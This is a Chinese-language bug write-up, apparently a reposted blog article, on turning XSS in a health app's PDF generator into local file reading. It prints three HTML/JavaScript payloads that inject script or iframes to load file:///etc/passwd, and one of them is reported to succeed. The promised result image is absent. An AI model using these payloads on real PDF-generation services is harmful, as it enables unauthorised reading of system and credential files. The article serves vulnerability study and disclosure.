利用PDF生成器XSS漏洞读取系统本地文件的示例分析
更新:HHH   时间:2023-1-7


这篇文章将为大家详细讲解有关利用PDF生成器XSS漏洞读取系统本地文件的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

仅供参考学习使用

漏洞背景

测试目标为某健康管理APP,它可以被预装在安卓系统的移动设备中,且其文件系统是封闭不可被访问读取的。该APP设置了自定义启动器(custom launcher),用户无法更改其界面或访问其内置接口数据。所以在这里,由于利用XSS读取本地文件绕过了该APP本来的业务逻辑,算是一个比较严重的漏洞了。

XSS => LFI

虽然XSS漏洞比较常见,但要想在移动应用APP中发现XSS漏洞也不简单,而且我还是在其内置的PDF生成器(PDF generator)中发现了一个XSS。

由于该APP应用允许用户编辑自己的病历记录,然后保存为PDF打印,因此,我尝试在病历记录中加入了以下正常的HTML Payload,想看看它会否在PDF生成时触发XSS。

<h2>test</h2>test2

然后,在PDF生成过程中,该Payload被触发了,但这没啥大惊小怪的, 接下来我们要看看如何利用该XSS来破坏APP的逻辑。那就从读取本地文件数据下手吧,然后我构造了以下读取本地文件的代码:

<script>
 x=new XMLHttpRequest;
 x.onload=function(){
  document.write(this.responseText)
 };
 x.open("GET","file:///etc/passwd");
 x.send();
</script>

测试之后,没啥显示的。接着,我又用<img>继续构造:

<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>

哪想到这一构造测试就直接把APP搞崩溃了,不知道是否用到了onerror或img标签才这样,那就来个简单的吧:

<script>document.write('<iframe src=file:///etc/passwd></iframe>');</script>

哦,执行之后,在PDF生成时跳出了以下美妙画面:

关于“利用PDF生成器XSS漏洞读取系统本地文件的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

返回网络管理教程...